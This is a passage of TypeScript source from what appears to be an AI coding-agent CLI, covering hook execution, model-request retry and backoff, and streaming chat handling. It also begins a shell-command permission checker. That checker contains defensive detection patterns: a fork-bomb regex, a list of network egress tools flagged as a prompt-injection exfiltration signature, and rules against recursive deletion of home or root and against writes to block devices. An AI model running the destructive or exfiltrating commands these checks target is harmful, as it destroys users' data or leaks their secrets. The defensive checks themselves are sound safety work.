fallback.unref?.();\n }, timeoutSec * 1000);\n let fallback: NodeJS.Timeout;\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n if (stderr.length < STDERR_CAPTURE_LIMIT) stderr += stderrDecoder.write(chunk);\n });\n child.stdout?.resume();\n child.on(\"error\", (error) => {\n finish({ code: 1, stderr, timedOut, spawnError: error.message });\n });\n child.on(\"close\", (code) => {\n finish({ code: code ?? 1, stderr, timedOut });\n });\n });\n}\n\nfunction hookMatches(hook: HookConfig, event: HookEvent, toolName?: string): boolean {\n if (hook.event !== event) return false;\n // A matcher filters by tool name; Stop carries no tool, so matchers are\n // ignored there. Invalid patterns are rejected at config load, but guard\n // anyway so a hook can never crash the agent.\n if (event === \"Stop\" || !hook.matcher) return true;\n if (toolName === undefined) return false;\n try {\n return new RegExp(hook.matcher).test(toolName);\n } catch {\n return false;\n }\n}\n\nexport interface RunHooksOptions {\n // Per-invocation timeout override (seconds), replacing each hook's own\n // timeoutSec — e.g. the abort path keeps Stop hooks on a short leash so a\n // hanging hook cannot hold the user's prompt hostage.\n timeoutSec?: number;\n}\n\nexport async function runHooks(\n event: HookEvent,\n hooks: HookConfig[],\n ctx: HookRunContext,\n opts?: RunHooksOptions,\n): Promise<HookRunResult> {\n const result: HookRunResult = { blocked: false, warnings: [] };\n for (const hook of hooks) {\n if (!hookMatches(hook, event, ctx.toolName)) continue;\n const timeoutSec = opts?.timeoutSec ?? hook.timeoutSec;\n let outcome: CommandOutcome;\n try {\n outcome = await runCommand(hook, event, ctx, timeoutSec);\n } catch (error) {\n result.warnings.push(\n `Hook \"${hook.command}\" (${event}) failed: ${error instanceof Error ? error.message : String(error)}`,\n );\n continue;\n }\n if (outcome.code === 0) continue;\n const stderr = truncate(outcome.stderr);\n if (event === \"PreToolUse\" && outcome.code === 2 && !outcome.timedOut) {\n result.blocked = true;\n result.reason = stderr || `hook \"${hook.command}\" exited with code 2`;\n return result;\n }\n const detail = outcome.timedOut\n ? `timed out after ${timeoutSec}s`\n : outcome.spawnError\n ? `failed to start: ${outcome.spawnError}`\n : `exited with code ${outcome.code}`;\n result.warnings.push(\n `Hook \"${hook.command}\" (${event}) ${detail}${stderr ? `: ${stderr}` : \"\"}`,\n );\n }\n return result;\n}\n","// Retry classification and backoff for model requests, modeled on opencode's\n// SessionRetry (sst/opencode, packages/opencode/src/session/retry.ts). Relays\n// and gateways report transient failures inconsistently — a Cloudflare HTML\n// 403, a 400 whose body says \"provider returned error\", a 200 stream that\n// dies mid-way — so classification looks past the status code at the error\n// message and response body, and the wait between attempts honors Retry-After\n// headers with jittered exponential backoff as the fallback.\nimport type { StreamErrorInfo } from \"../core/events\";\nimport { responseBodyOf } from \"../core/http-error\";\n\n// Client/validation failures will fail again identically, so only transient\n// conditions merit another attempt. SDK validation errors never retry —\n// TypeValidation/JSONParse mean the relay answered with a malformed payload,\n// which a resend would burn the whole retry budget on.\nconst NON_RETRYABLE_ERROR_NAMES = new Set([\n \"AI_NoSuchToolError\",\n \"AI_InvalidToolArgumentsError\",\n \"AI_InvalidPromptError\",\n \"AI_NoSuchModelError\",\n \"AI_LoadAPIKeyError\",\n \"AI_TypeValidationError\",\n \"AI_JSONParseError\",\n]);\n\nconst RETRYABLE_MESSAGE_PATTERNS = [\n /\\b(408|425|429|500|502|503|504|520|521|522|523|524|529)\\b/,\n /rate.?limit|too many requests|rate increased/i,\n /overloaded|service.?unavailable|internal (server )?error|server error|provider returned error|bad gateway|gateway timeout/i,\n /terminated|fetch failed|failed to fetch|network.?error|upstream connect|connection (?:error|refused|lost|reset)|socket (?:hang up|connection)|reset before headers|getaddrinfo|enotfound|eai_again|econnrefused|econnreset|etimedout|epipe|ehostunreach|enetunreach/i,\n /\\b(?:request|response|connection|network|stream|read|headers?|body) (?:timeout|timed out|time out)\\b/i,\n /resource.?exhausted|try (?:your request )?again|at capacity/i,\n];\n\n// Deterministic client failures resend identically forever, so these 4xx\n// codes fail fast even when the message or body sounds transient — \"server\n// error\" text on a relay's error page must not burn the retry budget.\nconst NON_RETRYABLE_4XX = new Set([400, 401, 403, 404, 413, 422]);\n\n// Network-stack errnos worth a resend: the connection died before or during\n// the response, so a fresh attempt takes a different path.\nconst NETWORK_ERROR_CODES = new Set([\n \"ECONNRESET\",\n \"ECONNREFUSED\",\n \"ETIMEDOUT\",\n \"EPIPE\",\n \"EAI_AGAIN\",\n \"ENOTFOUND\",\n \"ECONNABORTED\",\n]);\n\n// Without an HTTP status the only honest retry signal is a network-family\n// failure: Node's fetch reports those as TypeError(\"fetch failed\") (usually\n// with the errno on error.cause.code, flattened to causeCode by\n// toStreamErrorInfo), and the classic stack attaches the errno to the error\n// itself. Anything else statusless — above all a TypeError from a code bug —\n// fails deterministically and must fail fast instead of resending the whole\n// history five times.\nfunction isNetworkFailure(error: StreamErrorInfo): boolean {\n for (const code of [error.code, error.causeCode]) {\n if (code && (NETWORK_ERROR_CODES.has(code) || code.startsWith(\"UND_ERR_\"))) return true;\n }\n return error.name === \"TypeError\" && /fetch failed|failed to fetch|network/i.test(error.message);\n}\n\nfunction matchesRetryablePattern(text: string | undefined): boolean {\n return typeof text === \"string\" && RETRYABLE_MESSAGE_PATTERNS.some((p) => p.test(text));\n}\n\nexport function isRetryableStreamError(error: StreamErrorInfo): boolean {\n if (NON_RETRYABLE_ERROR_NAMES.has(error.name)) return false;\n // The SDK's own classification (it marks 429/5xx API call errors retryable).\n if (error.isRetryable === true) return true;\n const status = error.statusCode;\n if (status !== undefined) {\n // 501 Not Implemented is excluded from the 5xx blanket: the endpoint\n // cannot serve this request shape at all, so it falls through to the\n // message/body check like any other deterministic status.\n if (status === 408 || status === 429 || (status >= 500 && status !== 501)) return true;\n if (NON_RETRYABLE_4XX.has(status)) return false;\n // Other 4xx codes are normally deterministic too, but gateways and relays\n // surface transient failures under odd ones (a 409 wrapping an upstream\n // failure), recognizable only by what the error says.\n return matchesRetryablePattern(error.message) || matchesRetryablePattern(responseBodyOf(error));\n }\n // No status at all: only a genuine network failure merits a resend.\n return isNetworkFailure(error);\n}\n\nexport const RETRY_JITTER_FACTOR = 0.25;\n// The wait between attempts never exceeds this, even when a Retry-After\n// header asks for more: an interactive CLI turn cannot park for minutes.\nexport const MAX_RETRY_DELAY_MS = 60_000;\n\n// Parses the Retry-After hints an APICallError can carry: retry-after-ms,\n// then retry-after in seconds or as an HTTP date. Header names from the AI\n// SDK are already lowercase, but normalize defensively.\nexport function retryAfterDelayMs(error: StreamErrorInfo): number | undefined {\n const headers = error.responseHeaders;\n if (!headers) return undefined;\n const normalized: Record<string, string> = {};\n for (const [key, value] of Object.entries(headers)) {\n normalized[key.toLowerCase()] = value;\n }\n const afterMs = Number.parseFloat(normalized[\"retry-after-ms\"] ?? \"\");\n if (!Number.isNaN(afterMs)) return Math.max(0, afterMs);\n const after = normalized[\"retry-after\"];\n if (after) {\n const seconds = Number.parseFloat(after);\n if (!Number.isNaN(seconds)) return Math.max(0, Math.ceil(seconds * 1000));\n const dateMs = Date.parse(after) - Date.now();\n if (!Number.isNaN(dateMs) && dateMs > 0) return Math.ceil(dateMs);\n }\n return undefined;\n}\n\n// Milliseconds to wait before the next attempt: the server's Retry-After hint\n// when present (capped), otherwise exponential backoff (base × 2^attempt)\n// with +0–25% jitter so concurrent clients do not retry in lockstep.\nexport function computeRetryDelayMs(\n attempt: number,\n baseMs: number,\n error?: StreamErrorInfo | null,\n random: number = Math.random(),\n): number {\n const hinted = error ? retryAfterDelayMs(error) : undefined;\n if (hinted !== undefined) return Math.min(hinted, MAX_RETRY_DELAY_MS);\n const base = baseMs * 2 ** attempt;\n return Math.min(Math.ceil(base + base * RETRY_JITTER_FACTOR * random), MAX_RETRY_DELAY_MS);\n}\n\n// One-line description of a stream failure for retry notices and logs: the\n// message, the HTTP status when the message omits it, and an excerpt of the\n// response body when it adds information the message does not have.\nexport function summarizeStreamError(error: StreamErrorInfo): string {\n const parts = [error.message || error.name];\n const status = error.statusCode;\n if (status !== undefined && !error.message.includes(String(status))) {\n parts.push(`(HTTP ${status})`);\n }\n const body = responseBodyOf(error);\n if (body && !error.message.includes(body.slice(0, 40))) {\n const excerpt = body.replace(/\\s+/g, \" \").trim().slice(0, 200);\n if (excerpt) parts.push(`— ${excerpt}`);\n }\n return parts.join(\" \");\n}\n","import { type LanguageModel, type ToolSet, streamText } from \"ai\";\nimport { type StreamEvent, type TokenUsage, toStreamErrorInfo } from \"../core/events\";\nimport type { CoreMessage } from \"../core/messages\";\nimport { streamActivity } from \"./activity\";\nimport { debugStreamLog } from \"./debug\";\nimport type { ProviderMetadata } from \"./provider\";\nimport { summarizeStreamError } from \"./retry\";\n\nexport interface StreamChatOptions {\n model: LanguageModel;\n messages: CoreMessage[];\n tools?: Record<string, unknown>;\n abortSignal?: AbortSignal;\n maxTokens?: number;\n // Per-model sampling temperature (config [[models]] temperature), resolved\n // by the caller; undefined falls through to the SDK default (ai@4: 0).\n temperature?: number;\n // Extra per-call provider metadata (e.g. reasoningEffort), keyed by provider\n // instance name. Merged into the request; the openai entry merges with the\n // strictSchemas/store defaults below instead of replacing them.\n providerMetadata?: ProviderMetadata;\n // Idle watchdog: some relays deliver the final content but never send the\n // terminal chunks (or never close the socket). If no stream part arrives\n // within this window once content has started streaming, the stream is\n // ended gracefully with what we have.\n idleTimeoutMs?: number;\n // Separate, longer allowance before the first CONTENT part: thinking\n // models and slow relays can sit silent for minutes after accepting the\n // request, and a false timeout here would kill a healthy request. Control\n // parts (response-metadata, tool-call-streaming-start, ...) do not count\n // as content — the responses protocol emits response-metadata the moment\n // the server sends response.created, long before any thinking output.\n firstPartTimeoutMs?: number;\n}\n\nconst DEFAULT_IDLE_TIMEOUT_MS = 60_000;\nconst DEFAULT_FIRST_PART_TIMEOUT_MS = 120_000;\n\n// Parts that mark visible reply content. Only these demote the generous\n// first-part allowance to the short idle one. Control/metadata parts\n// (response-metadata, tool-call-streaming-start, reasoning-signature, source,\n// file) and reasoning only prove the connection is alive: reasoning models\n// (kimi with high effort) pause mid-thinking with zero bytes for tens of\n// seconds, so demoting on a thinking delta kills the stream as a spurious\n// idle-timeout — and since the reasoning was never persisted, the retry\n// resends the identical request and hits the same deterministic stall.\nconst CONTENT_PART_TYPES = new Set([\"text-delta\", \"tool-call\", \"tool-call-delta\"]);\n\n// Absolute cap on how long byte-level keepalives (SSE heartbeat comments the\n// SDK swallows) may extend a stream that produces no parts at all — without\n// it a heartbeat-only zombie connection could hang a turn forever.\nconst MAX_KEEPALIVE_SILENCE_MS = 10 * 60_000;\n\nconst CACHE_READ_KEYS = [\"cacheReadInputTokens\", \"cache_read_input_tokens\"];\nconst CACHED_PROMPT_KEYS = [\"cachedPromptTokens\", \"cached_prompt_tokens\", \"cachedTokens\"];\n\n// Anthropic prompt caching: a cache_control block marks \"everything from the\n// request start up to this block\" as a cached prefix. The agent loop resends\n// the full history every step, so two breakpoints — the leading system\n// message (covers the tool definitions and the static prompt prefix) and the\n// last message (the whole history so far) — turn most of every resend into\n// ~0.1x-billed cache reads. Other protocols do their own server-side caching\n// and never see this (provider metadata is keyed by provider name).\nexport function withAnthropicCacheBreakpoints(\n model: LanguageModel,\n messages: CoreMessage[],\n): CoreMessage[] {\n if (!model.provider.startsWith(\"anthropic\")) return messages;\n const mark = (message: CoreMessage): CoreMessage => ({\n ...message,\n experimental_providerMetadata: {\n ...message.experimental_providerMetadata,\n anthropic: {\n ...message.experimental_providerMetadata?.anthropic,\n cacheControl: { type: \"ephemeral\" },\n },\n },\n });\n const result = messages.slice();\n if (result[0]?.role === \"system\") result[0] = mark(result[0]);\n const last = result.length - 1;\n if (last > 0 && result[last]) result[last] = mark(result[last] as CoreMessage);\n return result;\n}\n\n// Pulls prompt-cache token counts out of a finish part's providerMetadata.\n// Anthropic-style fields (cacheReadInputTokens) report cache reads on top of\n// promptTokens; OpenAI-style fields (cachedPromptTokens) are a subset of it.\n// Only finite numbers are accepted; anything else means \"not provided\".\nexport function extractCacheUsage(\n providerMetadata: unknown,\n): Pick<TokenUsage, \"cachedPromptTokens\" | \"cacheReadInputTokens\"> {\n if (!providerMetadata || typeof providerMetadata !== \"object\") return {};\n for (const value of Object.values(providerMetadata)) {\n if (!value || typeof value !== \"object\") continue;\n const record = value as Record<string, unknown>;\n for (const key of CACHE_READ_KEYS) {\n const n = record[key];\n if (typeof n === \"number\" && Number.isFinite(n)) return { cacheReadInputTokens: n };\n }\n for (const key of CACHED_PROMPT_KEYS) {\n const n = record[key];\n if (typeof n === \"number\" && Number.isFinite(n)) return { cachedPromptTokens: n };\n }\n }\n return {};\n}\n\nexport async function* streamChat(opts: StreamChatOptions): AsyncGenerator<StreamEvent> {\n const controller = new AbortController();\n const onAbort = () => controller.abort();\n opts.abortSignal?.addEventListener(\"abort\", onAbort);\n // Abort listeners only fire on future aborts: mirror an abort that already\n // happened before this listener was registered (Esc landing while the loop\n // was still preparing the request), or the request would run on until the\n // idle watchdog despite having been cancelled.\n if (opts.abortSignal?.aborted) controller.abort();\n const { openai: openaiMetadata, ...otherMetadata } = opts.providerMetadata ?? {};\n const result = streamText({\n model: opts.model,\n messages: withAnthropicCacheBreakpoints(opts.model, opts.messages),\n tools: opts.tools as ToolSet | undefined,\n abortSignal: controller.signal,\n maxTokens: opts.maxTokens,\n temperature: opts.temperature,\n // Disable the SDK's own retries (ai@4 defaults to 2 internal attempts with\n // fixed backoff that ignores Retry-After and the abort signal, and\n // exhaustion throws an AI_RetryError stripped of status/headers/body) —\n // the retry policy in agent/loop.ts + llm/retry.ts owns the full budget\n // and needs the raw error to classify.\n maxRetries: 0,\n // Pass tool-call argument deltas through (instead of buffering until the\n // complete call) so large write_file payloads report receive progress.\n toolCallStreaming: true,\n experimental_providerMetadata: {\n // Only the openai provider (our responses-protocol path) reads these;\n // other providers ignore unknown metadata. The SDK's responses provider\n // sends every tool with strict:true by default (strictSchemas), and\n // strict mode requires every schema property to be required — our\n // classic function-calling schemas use optional properties, which\n // relays then reject. store:false matches how codex and opencode talk\n // to relays (no server-side response storage).\n ...otherMetadata,\n openai: { strictSchemas: false, store: false, ...openaiMetadata },\n },\n });\n const idleTimeoutMs = opts.idleTimeoutMs ?? DEFAULT_IDLE_TIMEOUT_MS;\n const firstPartTimeoutMs = opts.firstPartTimeoutMs ?? DEFAULT_FIRST_PART_TIMEOUT_MS;\n const iterator = result.fullStream[Symbol.asyncIterator]();\n // True once a CONTENT part arrived — controls which watchdog window\n // applies. Control and reasoning parts never set it (see above).\n let seenContent = false;\n let deltas = 0;\n // Any visible reply content streamed (text or a completed tool call) —\n // decides whether an idle-watchdog cutoff marks the finish event as\n // truncated. Reasoning deliberately does not count: it is display-only and\n // never persisted, so a reasoning-only cutoff loses nothing the user saw —\n // flagging it \"truncated\" would show a scary notice for what is really a\n // silent-stall retry.\n let hasContent = false;\n // Accumulated tool-call argument sizes, for coarse progress events while a\n // large payload (write_file content) streams in.\n const argsProgress = new Map<string, { name: string; chars: number; nextMark: number }>();\n // Last time ANY part arrived; the keepalive extension is bounded against\n // this, not against the last byte (bytes without parts can flow forever).\n let lastPartAt = Date.now();\n debugStreamLog(\"request\", {\n messages: opts.messages.length,\n idleTimeoutMs,\n firstPartTimeoutMs,\n });\n try {\n // At most one in-flight read, reused across watchdog wake-ups: fullStream\n // wraps a ReadableStreamDefaultReader whose pending reads queue FIFO and\n // each consume a DIFFERENT chunk, so a next() abandoned when the watchdog\n // wins the race would silently eat the part that eventually settles it.\n let pending: ReturnType<typeof iterator.next> | undefined;\n for (;;) {\n pending ??= iterator.next();\n let timer: ReturnType<typeof setTimeout> | undefined;\n const windowMs = seenContent ? idleTimeoutMs : firstPartTimeoutMs;\n const idle = new Promise<null>((resolve) => {\n timer = setTimeout(() => resolve(null), windowMs);\n });\n let next: Awaited<ReturnType<typeof iterator.next>> | null;\n try {\n next = await Promise.race([pending, idle]);\n } catch (error) {\n debugStreamLog(\"stream-throw\", {\n seenContent,\n deltas,\n error: error instanceof Error ? summarizeStreamError(error) : String(error),\n });\n throw error;\n } finally {\n // Clear in finally: when the read rejects, skipping this would leave\n // the watchdog timer pending for up to the full first-part allowance.\n if (timer) clearTimeout(timer);\n }\n // A settled read is consumed below; only a watchdog timeout leaves the\n // pending read in flight for the next race.\n if (next !== null) pending = undefined;\n if (next === null) {\n // Byte-level liveness check before cutting: relays fronting slow\n // upstreams often send SSE heartbeat comments while buffering, and\n // the SDK swallows them, so at the part level the stream looks dead\n // while bytes are still flowing. As long as raw chunks keep\n // arriving, keep waiting — bounded by MAX_KEEPALIVE_SILENCE_MS of\n // total part silence so a heartbeat-only zombie cannot hang a turn.\n const activity = streamActivity(controller.signal);\n const silentForMs = Date.now() - lastPartAt;\n const lastChunkAgoMs = activity ? Date.now() - activity.lastChunkAt : undefined;\n if (\n lastChunkAgoMs !== undefined &&\n lastChunkAgoMs < windowMs &&\n silentForMs < MAX_KEEPALIVE_SILENCE_MS\n ) {\n debugStreamLog(\"keepalive\", { seenContent, deltas, lastChunkAgoMs, silentForMs });\n continue;\n }\n // Note: the AI SDK holds the model's finish part until the source\n // stream closes, so a relay that stops sending without closing can\n // only be detected by this watchdog.\n debugStreamLog(\"idle-timeout\", {\n seenContent,\n deltas,\n waitedMs: windowMs,\n lastChunkAgoMs,\n });\n yield {\n type: \"finish\",\n finishReason: \"idle-timeout\",\n usage: undefined,\n // Content already streamed means the reply may be cut off\n // mid-thought; the loop surfaces a notice for that.\n ...(hasContent ? { truncated: true } : {}),\n };\n return;\n }\n if (next.done) {\n debugStreamLog(\"end\", { seenContent, deltas });\n return;\n }\n const part = next.value;\n lastPartAt = Date.now();\n if (CONTENT_PART_TYPES.has(part.type)) seenContent = true;\n switch (part.type) {\n case \"text-delta\":\n deltas++;\n hasContent = true;\n yield { type: \"text-delta\", text: part.textDelta };\n break;\n case \"reasoning\":\n deltas++;\n yield { type: \"reasoning\", text: part.textDelta };\n break;\n case \"tool-call\":\n hasContent = true;\n yield {\n type: \"tool-call\",\n id: part.toolCallId,\n name: part.toolName,\n args: part.args,\n };\n break;\n case \"tool-call-streaming-start\": {\n argsProgress.set(part.toolCallId, {\n name: part.toolName,\n chars: 0,\n nextMark: 4096,\n });\n break;\n }\n case \"tool-call-delta\": {\n const progress = argsProgress.get(part.toolCallId) ?? {\n name: part.toolName,\n chars: 0,\n nextMark: 4096,\n };\n progress.chars += part.argsTextDelta.length;\n argsProgress.set(part.toolCallId, progress);\n if (progress.chars >= progress.nextMark) {\n progress.nextMark *= 2;\n yield { type: \"tool-call-progress\", name: progress.name, bytes: progress.chars };\n }\n break;\n }\n case \"finish\": {\n const finite = (n: number) => (Number.isFinite(n) ? n : 0);\n const cache = extractCacheUsage(\n part.providerMetadata ?? part.experimental_providerMetadata,\n );\n debugStreamLog(\"finish\", {\n finishReason: part.finishReason,\n usage: part.usage,\n deltas,\n });\n yield {\n type: \"finish\",\n finishReason: part.finishReason,\n usage: part.usage\n ? {\n promptTokens: finite(part.usage.promptTokens),\n completionTokens: finite(part.usage.completionTokens),\n totalTokens: finite(part.usage.totalTokens),\n ...cache,\n }\n : undefined,\n };\n return;\n }\n case \"error\": {\n // A user-initiated abort surfacing as a stream error is not a failure.\n if (opts.abortSignal?.aborted) return;\n // Flatten to serializable info here — the single Error→info\n // conversion point — so the event can cross JSONL logs and process\n // boundaries without losing the properties retry classifies on.\n const error = toStreamErrorInfo(part.error);\n debugStreamLog(\"error-part\", { seenContent, deltas, error: summarizeStreamError(error) });\n // Errors are terminal: iterating past one would merge trailing\n // parts into a turn already flagged failed.\n yield { type: \"error\", error };\n return;\n }\n }\n }\n } finally {\n opts.abortSignal?.removeEventListener(\"abort\", onAbort);\n // Release the stream when exiting mid-flight (idle cut, terminal error):\n // ai@4's iterator has no return(), so the abort is what actually cancels\n // the upstream request and settles any pending read — the last race still\n // observes that read, so it cannot reject unhandled.\n await iterator.return?.();\n controller.abort();\n }\n}\n","import fs from \"node:fs\";\nimport path from \"node:path\";\nimport { isSensitivePath } from \"../core/sensitive\";\nimport { isAllowedByRules, isAskedByRules, isDeniedByRules } from \"./allow\";\nimport { type LexCache, lexCached } from \"./lex-cache\";\nimport { type ShellToken, segmentWords, splitShellSegments } from \"./shell\";\nimport type {\n PermissionContext,\n PermissionDecision,\n PermissionMode,\n PermissionRequest,\n} from \"./types\";\n\nconst FILE_TOOLS = new Set([\n \"write_file\",\n \"edit_file\",\n \"read_file\",\n \"read_image\",\n \"grep\",\n \"glob\",\n \"code_outline\",\n]);\n\n// The classic fork bomb is punctuation soup that defeats word-level analysis;\n// keep a literal regex for it.\nconst FORK_BOMB = /:\\(\\)\\s*\\{\\s*:\\|:&\\s*\\}\\s*;:/;\n\nconst MAX_ANALYSIS_DEPTH = 8;\n\nconst SH_FAMILY = new Set([\"sh\", \"bash\", \"zsh\", \"dash\", \"ash\"]);\n\n// Network egress commands: one of these in a chain that also touches a\n// likely-secret path is the prompt-injection exfiltration signature.\nconst EGRESS_COMMANDS = new Set([\n \"curl\",\n \"wget\",\n \"nc\",\n \"ncat\",\n \"ssh\",\n \"scp\",\n \"sftp\",\n \"ftp\",\n \"telnet\",\n]);\n\n// Block devices a command must never write to (redirect targets, dd of=):\n// sd/xvd/vd/hd families with optional partition numbers, plus nvme/mmc.\nconst BLOCK_DEVICE =\n /^\\/dev\\/(?:sd[a-z]+\\d*|xvd[a-z]+\\d*|vd[a-z]+\\d*|hd[a-z]+\\d*|nvme\\d+n\\d+(?:p\\d+)?|mmcblk\\d+(?:p\\d+)?)$/i;\n\nfunction baseName(word: string): string {\n const base = word.replace(/\\\\/g, \"/\").split(\"/\").pop() ?? word;\n return base.toLowerCase().replace(/\\.exe$/, \"\");\n}\n\n// Paths whose recursive deletion (or permission wipe) is never acceptable:\n// filesystem / home / cwd roots, bare globs and drive roots. `$VAR` and\n// `${VAR}` were normalized to `$VAR` by the lexer, so well-known home\n// variables are recognizable here. Home variables with a path suffix\n// ($HOME/projects) are treated exactly like the ~/ spelling, and ~user\n// forms count as another user's home root.\nfunction isDangerousDeleteTarget(target: string): boolean {\n if (/^\\/+$/.test(target)) return true;\n const norm = target.replace(/\\\\/g, \"/\").replace(/\\/+$/, \"\");\n if (norm === \"/*\" || norm === \"*\") return true;\n if (norm === \"~\" || norm.startsWith(\"~/\") || /^~[^/]/.test(norm)) return true;\n if (norm === \".\" || norm === \"./*\") return true;\n if (/^[a-zA-Z]:$/.test(norm)) return true;\n const homeVars = [\"$HOME\", \"$USERPROFILE\", \"$HOMEPATH\"];\n if (homeVars.includes(norm)) return true;\n if (homeVars.some((v) => norm.startsWith(`${v}/`))) return true;\n if (/^%(USERPROFILE|HOMEDRIVE|HOMEPATH)%$/i.test(norm)) return true;\n if (/^%(USERPROFILE|HOMEPATH)%\\//i.test(norm)) return true;\n return false;\n}\n\nfunction rmIsDangerous(args: string[]): boolean {\n let recursive = false;\n let optionsDone = false;\n const targets: string[] = [];\n for (const arg of args) {\n if (!optionsDone && arg === \"--\") {\n optionsDone = true;\n continue;\n }\n if (!optionsDone && arg.startsWith(\"-\")) {\n if (arg === \"--recursive\") {\n recursive = true;\n } else if (!arg.startsWith(\"--\") && /[rR]/.test(arg)) {\n recursive = true;\n }\n continue;\n }\n targets.push(arg);\n }\n return recursive && targets.some(isDangerousDeleteTarget);\n}\n\nfunction findIsDangerous(args: string[], depth: number, lex?: LexCache): boolean {\n const paths: string[] = [];\n for (const arg of args) {\n if (arg.startsWith(\"-\") || arg === \"(\" || arg === \")\" || arg === \"!\" || arg === \",\") {\n break;\n }\n paths.push(arg);\n }\n // No explicit path means \"everything below the cwd\".\n const rootishPaths = paths.length === 0 || paths.some(isDangerousDeleteTarget);\n if (args.includes(\"-delete\") && rootishPaths) return true;\n // `-exec CMD ARG... ;` / `-exec CMD ARG... {} +`: the payload command is\n // analyzed like any other command line, and with root-ish find roots the\n // {} placeholder stands in for \"whatever find found below /\", so it is\n // substituted with a root-ish target before the analysis.\n for (let k = 0; k < args.length; k += 1) {\n const arg = args[k] as string;\n if (arg !== \"-exec\" && arg !== \"-execdir\") continue;\n const cmd: string[] = [];\n for (let j = k + 1; j < args.length; j += 1) {\n const token = args[j] as string;\n if (token === \";\" || token === \"+\") break;\n cmd.push(token);\n }\n if (cmd.length === 0) continue;\n const argv = rootishPaths ? cmd.map((token) => token.replaceAll(\"{}\", \"~\")) : cmd;\n const name = baseName(argv[0] as string);\n if (name === \"rm\" && rmIsDangerous(argv.slice(1))) return true;\n if (SH_FAMILY.has(name)) {\n const idx = argv.indexOf(\"-c\");\n const script = idx >= 0 ? argv[idx + 1] : undefined;\n if (script !== undefined && commandLineIsDangerous(script, depth + 1, lex)) return true;\n }\n if (commandLineIsDangerous(argv.join(\" \"), depth + 1, lex)) return true;\n }\n return false;\n}\n\nconst XARGS_VALUE_OPTS = new Set([\n \"-I\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-d\",\n \"-E\",\n \"-a\",\n \"--replace\",\n \"--max-args\",\n \"--max-procs\",\n \"--max-lines\",\n \"--delimiter\",\n \"--eof\",\n \"--arg-file\",\n \"--interactive\",\n \"--exit\",\n]);\n\n// `xargs rm` takes its deletion targets from stdin, so no target analysis is\n// possible — any rm (or rm-equivalent) invoked through xargs is refused. When\n// the payload is a shell (-c script), the script is analyzed after replacing\n// the -I placeholder with a root-ish target, since it too stands in for\n// arbitrary stdin-supplied paths.\nfunction xargsIsDangerous(args: string[], depth: number, lex?: LexCache): boolean {\n let replstr: string | undefined;\n for (let k = 0; k < args.length; k += 1) {\n const arg = args[k] as string;\n if (arg === \"-I\" || arg === \"--replace\") {\n replstr = args[k + 1];\n k += 1;\n continue;\n }\n if (arg.startsWith(\"--replace=\")) {\n replstr = arg.slice(\"--replace=\".length);\n continue;\n }\n // Attached spelling: -I{} (the separate form is handled above).\n if (arg.startsWith(\"-I\") && arg.length > 2) {\n replstr = arg.slice(2);\n continue;\n }\n if (XARGS_VALUE_OPTS.has(arg)) {\n k += 1;\n continue;\n }\n if (arg.startsWith(\"-\")) {\n continue;\n }\n const name = baseName(arg);\n if (name === \"rm\") return true;\n if (!SH_FAMILY.has(name)) return false;\n const scriptArgs = args.slice(k + 1);\n const idx = scriptArgs.indexOf(\"-c\");\n const script = idx >= 0 ? scriptArgs[idx + 1] : undefined;\n if (script === undefined) return false;\n const substituted = replstr !== undefined ? script.split(replstr).join(\"~\") : script;\n return commandLineIsDangerous(substituted, depth + 1, lex);\n }\n return false;\n}\n\nfunction chmodIsDangerous(args: string[]): boolean {\n let recursive = false;\n let optionsDone = false;\n const operands: string[] = [];\n for (const arg of args) {\n if (!optionsDone && arg === \"--\") {\n optionsDone = true;\n continue;\n }\n if (!optionsDone && arg.startsWith(\"-\")) {\n if (arg === \"--recursive\" || (!arg.startsWith(\"--\") && arg.includes(\"R\"))) {\n recursive = true;\n }\n continue;\n }\n operands.push(arg);\n }\n // operands[0] is the mode; the rest are targets.\n return recursive && operands.slice(1).some(isDangerousDeleteTarget);\n}\n\ninterface CommandInvocation {\n name: string;\n rest: string[];\n sudo: boolean;\n}\n\ninterface WrapperSpec {\n // Options that consume the following token as their value (exact spelling;\n // the \"--opt=value\" spelling stays a single token and is skipped whole).\n valueOpts: ReadonlySet<string>;\n // Non-option arguments the wrapper takes before the command starts\n // (timeout's duration, taskset's CPU mask, chrt's priority).\n positionals: number;\n // Value options that supply the positional argument themselves (taskset's\n // mask can be spelled -c LIST instead of a bare positional).\n positionalSubstitutes?: ReadonlySet<string>;\n}\n\n// Commands that only wrap another command line; they are peeled (with their\n// flags, option values and pre-command positional arguments) until the real\n// command emerges, so `nice rm -rf ~` or `timeout 5 rm -rf ~` cannot smuggle\n// a payload past the analysis.\nconst WRAPPER_COMMANDS: Record<string, WrapperSpec> = {\n sudo: {\n valueOpts: new Set([\n \"-u\",\n \"-g\",\n \"-h\",\n \"-p\",\n \"-t\",\n \"-C\",\n \"-T\",\n \"-D\",\n \"-R\",\n \"-U\",\n \"--user\",\n \"--group\",\n \"--host\",\n \"--prompt\",\n \"--type\",\n ]),\n positionals: 0,\n },\n doas: { valueOpts: new Set([\"-u\"]), positionals: 0 },\n env: { valueOpts: new Set([\"-u\", \"-C\", \"--unset\", \"--chdir\"]), positionals: 0 },\n nice: { valueOpts: new Set([\"-n\", \"--adjustment\"]), positionals: 0 },\n ionice: {\n valueOpts: new Set([\"-c\", \"-n\", \"-p\", \"--class\", \"--classdata\", \"--pid\"]),\n positionals: 0,\n },\n nohup: { valueOpts: new Set(), positionals: 0 },\n timeout: {\n valueOpts: new Set([\"-k\", \"-s\", \"--kill-after\", \"--signal\"]),\n positionals: 1,\n },\n stdbuf: {\n valueOpts: new Set([\"-i\", \"-o\", \"-e\", \"--input\", \"--output\", \"--error\"]),\n positionals: 0,\n },\n setsid: { valueOpts: new Set(), positionals: 0 },\n chrt: { valueOpts: new Set([\"-p\", \"--pid\"]), positionals: 1 },\n taskset: {\n valueOpts: new Set([\"-c\", \"-p\", \"--cpu-list\", \"--pid\"]),\n positionals: 1,\n positionalSubstitutes: new Set([\"-c\", \"--cpu-list\"]),\n },\n};\n\n// Strips leading VAR=value assignments and wrapper commands (sudo/doas/env,\n// nice/ionice/nohup/timeout/stdbuf/setsid/chrt/taskset, with their flags and\n// arguments) to find the command actually being run.\nfunction commandInvocation(words: string[]): CommandInvocation | null {\n let sudo = false;\n let k = 0;\n for (;;) {\n const word = words[k];\n if (word === undefined) return null;\n if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) {\n k += 1;\n continue;\n }\n const name = baseName(word);\n const spec = WRAPPER_COMMANDS[name];\n if (spec === undefined) {\n return { name, rest: words.slice(k + 